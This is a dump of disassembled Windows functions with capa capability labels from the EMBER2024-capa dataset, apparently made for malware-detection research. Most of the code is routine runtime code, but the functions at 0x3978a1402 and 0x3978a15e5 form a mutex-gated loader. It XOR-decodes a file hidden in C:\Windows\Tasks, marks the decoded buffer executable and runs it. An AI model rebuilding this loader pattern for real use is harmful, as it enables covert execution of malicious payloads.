joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400303f0
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.rwl_ref.isra.0
test eax, eax
je 0x140030418
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [rbx]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call sym.pthread_mutex_trylock
test eax, eax
jne 0x140030441
lock add dword [rsi + 0xc], 1
cmp dword [rsi + 0xc], 0x7fffffff
je 0x140030458
mov rcx, rdi
call sym.pthread_mutex_unlock
mov edx, eax
mov rcx, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.rwl_unref
lea r12, [rsi + 0x20]
mov rcx, r12
call sym.pthread_mutex_lock
mov ebp, eax
test eax, eax
je 0x140030480
mov rcx, rdi
call sym.pthread_mutex_unlock
mov edx, ebp
jmp 0x140030443
mov eax, dword [rsi + 0x10]
sub dword [rsi + 0xc], eax
mov rcx, r12
mov dword [rsi + 0x10], 0
call sym.pthread_mutex_unlock
mov rcx, rdi
mov esi, eax
call sym.pthread_mutex_unlock
test esi, esi
mov edx, esi
cmove edx, eax
jmp 0x140030443

Function at 0x1400304b0
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.rwl_ref.isra.0
test eax, eax
je 0x1400304d8
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [rbx]
lea rbp, [rsi + 0x18]
mov rcx, rbp
call sym.pthread_mutex_trylock
mov edx, eax
test eax, eax
jne 0x14003052e
lea r12, [rsi + 0x20]
mov rcx, r12
call sym.pthread_mutex_trylock
mov edi, eax
test eax, eax
jne 0x140030568
mov eax, dword [rsi + 8]
mov edx, 0x10
test eax, eax
jne 0x14003052e
mov edx, dword [rsi + 0x10]
mov eax, dword [rsi + 0xc]
test edx, edx
jle 0x140030521
sub eax, edx
mov dword [rsi + 0x10], 0
mov dword [rsi + 0xc], eax
test eax, eax
jg 0x140030540
mov dword [rsi + 8], 1
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp sym.rwl_unref
mov rcx, r12
call sym.pthread_mutex_unlock
mov rcx, rbp
mov esi, eax
call sym.pthread_mutex_unlock
test esi, esi
jne 0x140030560
test eax, eax
mov esi, 0x10
cmovne esi, eax
mov edx, esi
jmp 0x14003052e
mov rcx, rbp
call sym.pthread_mutex_unlock
mov edx, eax
test eax, eax
cmove edx, edi
jmp 0x14003052e

Function at 0x140030580
Capabilities:
Terminate process

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
call sym.rwl_ref_unlock
test eax, eax
jne 0x140030600
mov rsi, qword [rbx]
mov edx, dword [rsi + 8]
test edx, edx
je 0x1400305d0
lock sub dword [rsi + 8], 1
lea rcx, [rsi + 0x20]
call sym.pthread_mutex_unlock
lea rcx, [rsi + 0x18]
mov edi, eax
call sym.pthread_mutex_unlock
test edi, edi
cmove edi, eax
mov edx, edi
mov rcx, rbx
add rsp, 0x30
pop rbx
pop rsi
pop rdi
jmp sym.rwl_unref
lea rdi, [rsi + 0x20]
mov rcx, rdi
call sym.pthread_mutex_lock
mov edx, eax
test eax, eax
jne 0x1400305bd
lock add dword [rsi + 0x10], 1
mov eax, dword [rsi + 0x10]
test eax, eax
je 0x140030610
mov rcx, rdi
call sym.pthread_mutex_unlock
mov edx, eax
jmp 0x1400305bd
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
lea rcx, [rsi + 0x28]
call sym.pthread_cond_signal
mov rcx, rdi
mov dword [rsp + 0x2c], eax
call sym.pthread_mutex_unlock
mov edx, dword [rsp + 0x2c]
test edx, edx
cmove edx, eax
jmp 0x1400305bd
Function at 0x140030630
Capabilities:
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r12, qword [0x140084540]
mov rax, qword [r12]
mov qword [rsp + 0x38], rax
xor eax, eax
mov rbx, rcx
call sym.rwl_ref.isra.0
test eax, eax
je 0x140030680
mov rdx, qword [rsp + 0x38]
sub rdx, qword [r12]
jne 0x1400307a9
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rsi, qword [rbx]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call sym.pthread_mutex_lock
mov ebp, eax
test eax, eax
jne 0x1400306d1
lea r13, [rsi + 0x20]
mov rcx, r13
call sym.pthread_mutex_lock
mov ebp, eax
test eax, eax
jne 0x140030780
mov edx, dword [rsi + 8]
test edx, edx
jne 0x1400306cc
mov edx, dword [rsi + 0x10]
mov eax, dword [rsi + 0xc]
test edx, edx
jle 0x1400306c8
sub eax, edx
mov dword [rsi + 0x10], 0
mov dword [rsi + 0xc], eax
test eax, eax
jg 0x140030700
lock add dword [rsi + 8], 1
mov rax, qword [rsp + 0x38]
sub rax, qword [r12]
jne 0x1400307a9
mov edx, ebp
mov rcx, rbx
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp sym.rwl_unref
neg eax
mov qword [rsp + 0x28], rsi
lea r14, [rsi + 0x28]
mov dword [rsi + 0x10], eax
lea rax, [sym.st_cancelwrite]
mov qword [rsp + 0x20], rax
call sym.pthread_getclean
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
lock or qword [rsp], 0
call sym.pthread_getclean
lea rdx, [rsp + 0x20]
mov qword [rax], rdx
lock or qword [rsp], 0
jmp 0x14003074f
mov eax, dword [rsi + 0x10]
test eax, eax
jns 0x140030790
mov rdx, r13
mov rcx, r14
call sym.pthread_cond_wait
mov edi, eax
test eax, eax
je 0x140030748
call sym.pthread_getclean
mov rdx, qword [rsp + 0x30]
mov ebp, edi
mov qword [rax], rdx
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x20]
jmp 0x1400306d1
mov rcx, rdi
call sym.pthread_mutex_unlock
jmp 0x1400306d1
call sym.pthread_getclean
mov rdx, qword [rsp + 0x30]
mov qword [rax], rdx
mov dword [rsi + 0xc], 0
jmp 0x1400306cc
call dbg.__stack_chk_fail
nop
nop
Function at 0x1400307b0
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, qword [0x140084540]
mov rax, qword [rdi]
mov qword [rsp + 0x38], rax
xor eax, eax
mov rbx, rcx
mov rsi, rdx
test rcx, rcx
je 0x140030898
test rdx, rdx
je 0x140030898
call sym.rwl_ref.isra.0
test eax, eax
je 0x140030818
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rdi]
jne 0x1400308ca
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rbp, qword [rbx]
mov rdx, rsi
lea r12, [rbp + 0x18]
mov rcx, r12
call sym.pthread_mutex_timedlock
mov edx, eax
test eax, eax
jne 0x1400308a8
lea r14, [rbp + 0x20]
mov rdx, rsi
mov rcx, r14
call sym.pthread_mutex_timedlock
mov r13d, eax
test eax, eax
jne 0x1400308b8
mov edx, dword [rbp + 8]
test edx, edx
jne 0x140030867
mov edx, dword [rbp + 0x10]
mov eax, dword [rbp + 0xc]
test edx, edx
jle 0x140030863
sub eax, edx
mov dword [rbp + 0x10], 0
mov dword [rbp + 0xc], eax
test eax, eax
jg 0x1400308d0
lock add dword [rbp + 8], 1
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
jne 0x1400308ca
mov edx, r13d
mov rcx, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sym.rwl_unref
mov eax, 0x16
jmp 0x1400307f2
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
je 0x140030879
jmp 0x1400308ca
mov rcx, r12
call sym.pthread_mutex_unlock
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
je 0x140030876
call dbg.__stack_chk_fail
nop
neg eax
mov qword [rsp + 0x28], rbp
lea r15, [rbp + 0x28]
mov dword [rbp + 0x10], eax
lea rax, [sym.st_cancelwrite]
mov qword [rsp + 0x20], rax
call sym.pthread_getclean
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
lock or qword [rsp], 0
call sym.pthread_getclean
lea rdx, [rsp + 0x20]
mov qword [rax], rdx
lock or qword [rsp], 0
jmp 0x14003091d
test r12d, r12d
jne 0x140030935
mov r8, rsi
mov rdx, r14
mov rcx, r15
call sym.pthread_cond_timedwait
mov r12d, eax
mov eax, dword [rbp + 0x10]
test eax, eax
js 0x140030918
call sym.pthread_getclean
mov rdx, qword [rsp + 0x30]
mov qword [rax], rdx
test r12d, r12d
jne 0x140030958
mov dword [rbp + 0xc], 0
jmp 0x140030867
mov rcx, qword [rsp + 0x28]
mov r13d, r12d
call qword [rsp + 0x20]
jmp 0x14003086c
Function at 0x1400338b0
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
cmp byte [0x1400762a0], 0
jne 0x1400339b6
mov byte [0x1400762a0], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x14003398c
mov rbx, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x2c]
cmp byte [rbx], 0x2a
mov dword [rsp + 0x2c], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add rbx, rax
mov rcx, rbx
call sym.__cxa_demangle
mov ecx, 2
mov rsi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
call rsi
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x2c]
mov ecx, 2
test edx, edx
je 0x14003397d
call rsi
mov rcx, rbx
mov rdx, rax
call sym.fputs
mov ecx, 2
call rsi
mov r8d, 2
mov edx, 1
lea rcx, [0x140081991]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x140033978
mov rcx, rdi
call sym.free
call sym.__cxa_rethrow
call rsi
mov rcx, rdi
mov rdx, rax
call sym.fputs
jmp 0x140033947
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
call sym.abort
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
call sym.abort
sub rdx, 1
mov rcx, rax
jne 0x140033a4b
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sym.fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
jmp 0x1400339b1
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400339b1

Function at 0x14003b430
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x14003b458
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x14003b4a0
cdqe
add rsi, rax
sub rbx, rax
jne 0x14003b470
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x14003b4ac
call rbp
cmp dword [rax], 4
je 0x14003b470
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400449c0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x140076260]
movabs rdi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x140076278], 0
movups xmmword [0x140076268], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x140044a75
jmp 0x140044b1f
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x140044ad0
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rdi
jne 0x140044a60
cmp qword [rbx + 7], r12
jne 0x140044a60
cmp byte [rbx + 0xf], 0x2e
jne 0x140044a60
add rbx, 0x10
lea rbp, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rsi, qword [rbp]
mov rcx, qword [rbp + 8]
test rsi, rsi
je 0x140044abb
mov r8, rsi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x140044ac5
cmp byte [rbx + rsi], 0x3d
je 0x140044b55
add rbp, 0x18
cmp rbp, r13
jne 0x140044a9f
jmp 0x140044a60
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x140076278], rbx
jne 0x140044b2f
lea rcx, [sym.__tcf_0_1]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp dbg.atexit
mov qword [0x140076278], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x140076270], rax
test rax, rax
je 0x140044b8c
xor edx, edx
mov qword [0x140076268], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x140044b07
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rsi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x140044b7c
test dl, dl
jne 0x140044a60
test eax, eax
js 0x140044a60
mov dword [rbp + 0x10], eax
jmp 0x140044a60
xor ecx, ecx
mov qword [0x140076278], rcx
jmp 0x140044b07

Function at 0x140044fc0
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call dbg.__main
call sym.__p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x14004500b
jmp 0x140045081
test cl, cl
je 0x140045038
and esi, 1
je 0x140045020
mov esi, 1
call sym._ismbblead
test eax, eax
je 0x140045007
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140044fe8
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140044ff6
test cl, cl
je 0x140045038
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140045038
cmp al, 0x20
jle 0x140045028
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140045066
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140084460]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp sym.WinMain
lea rbx, [0x140083c80]
jmp 0x140045038
Function at 0x3978a1402
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rax, str.C:WindowsTasksgo_hmluosqbudd503.tmp
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [0x3978a4028]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x3978a143d
mov eax, 1
jmp 0x3978a15c5
mov rax, qword [rbp - 0x10]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 8]
lea rdx, [0x3978a4028]
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x20], rax
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x20]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
movabs rax, 0x6d706f6c65766564
mov qword [rbp - 0x44], rax
mov dword [rbp - 0x3c], 0x746e65
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
lea rcx, [rbp - 0x44]
mov rax, qword [rbp - 0x20]
mov r9d, 0xc
mov r8, rcx
mov rcx, rax
call fcn.3978a1370
mov eax, dword [rbp - 0x14]
cdqe
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x30], rax
mov ecx, 0xfffffff6
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x48], 0
lea rdx, [rbp - 0x48]
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleMode]
call rax
mov eax, dword [rbp - 0x14]
movsxd rcx, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov eax, dword [rbp - 0x48]
and eax, 0xfffffffb
mov edx, eax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call rax
mov eax, dword [rbp - 0x14]
movsxd rdx, eax
lea rcx, [rbp - 0x4c]
mov rax, qword [rbp - 0x30]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov eax, dword [rbp - 0x48]
and eax, 0xfffffffb
mov edx, eax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call rax
mov rax, qword [rbp - 0x30]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x3978a15e5
Capabilities:
Check mutex on windows
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea r8, str.GlobalMyUniqueMutexName
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x3978a163e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
je 0x3978a162e
call fcn.3978a1402
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.C:WindowsSystem32CRYPTBASE.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.SystemFunction036
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call r8
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret

Function at 0x3978a1830
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3978a2440
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.3978a2440
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x3978a18a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3978a7064]
mov rbx, rcx
test esi, esi
jle 0x3978a19d0
mov rax, qword [0x3978a7068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3978a18eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3978a1975
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3978a18d0
mov rcx, rbx
call fcn.3978a2100
mov rdi, rax
test rax, rax
je 0x3978a19f2
mov rax, qword [0x3978a7068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.3978a2240
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3978a7068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3978a19d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3978a196e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3978a1980
add dword [0x3978a7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3978a7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3978a196e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3978a1830
nop dword [rax]
xor esi, esi
jmp 0x3978a18f8
mov rax, qword [0x3978a7068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3978a1830
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.3978a1830
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3978a1d70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3978a70a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3978a7080]
test rbx, rbx
je 0x3978a1dcc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3978a1dc3
test rsi, rsi
je 0x3978a1dc3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3978a1da8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3978a2100
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3978a4290]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3978a2120
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3978a2128
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3978a2120
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3978a217d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3978a2174
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3978a2120
add rax, 0x28
cmp rax, r9
jne 0x3978a2160
xor eax, eax
ret

Function at 0x3978a2180
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3978a4290]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3978a219f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3978a21a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3978a219f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3978a2240
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3978a4290]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3978a225f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3978a2268
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1800086f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x680
mov rax, qword [0x180176010]
xor rax, rsp
mov qword [rsp + 0x670], rax
xor esi, esi
mov ebx, ecx
cmp byte [0x18017f0f0], sil
jne 0x1800087e9
call fcn.180028eb0
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x38], rsi
lea r9, [rsp + 0x260]
mov qword [rsp + 0x30], pe_nt_image_headers64
lea r8d, [rsi + 3]
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x50]
mov rcx, qword [rax]
mov qword [rsp + 0x20], pe_nt_image_headers64
call fcn.18001e138
lea r9, [rsp + 0x260]
mov qword [rsp + 0x28], rsi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rsi
mov edx, 0x104
lea rcx, [rsp + 0x460]
call fcn.18001dd34
lea r9, [rsi - 1]
mov edx, pe_nt_image_headers64
lea r8, str.UI.DLL
lea rcx, [rsp + 0x60]
call fcn.180027250
test eax, eax
jne 0x1800087d6
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x460]
call fcn.180007ee0
test eax, eax
js 0x1800087d6
mov rdi, qword [0x18017f110]
mov byte [0x18017f0f0], 1
jmp 0x1800087f0
mov rdi, rsi
mov qword [0x18017f110], rsi
mov byte [0x18017f0f0], 1
jmp 0x1800087f0
mov rdi, qword [0x18017f110]
movzx r9d, word [0x18017f100]
mov eax, ebx
shr eax, 4
mov edx, 6
inc ax
mov rcx, rdi
movzx r8d, ax
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
test rax, rax
je 0x18000884b
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18000884b
and ebx, 0xf
je 0x180008840
nop dword [rax]
movzx ecx, word [rax]
lea rax, [rax + rcx*2]
add rax, 2
add ebx, 0xffffffff
jne 0x180008830
cmp word [rax], si
je 0x18000884b
add rax, 2
jmp 0x18000884e
mov rax, rsi
mov rcx, qword [rsp + 0x670]
xor rcx, rsp
call fcn.18000a220
lea r11, [rsp + 0x680]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret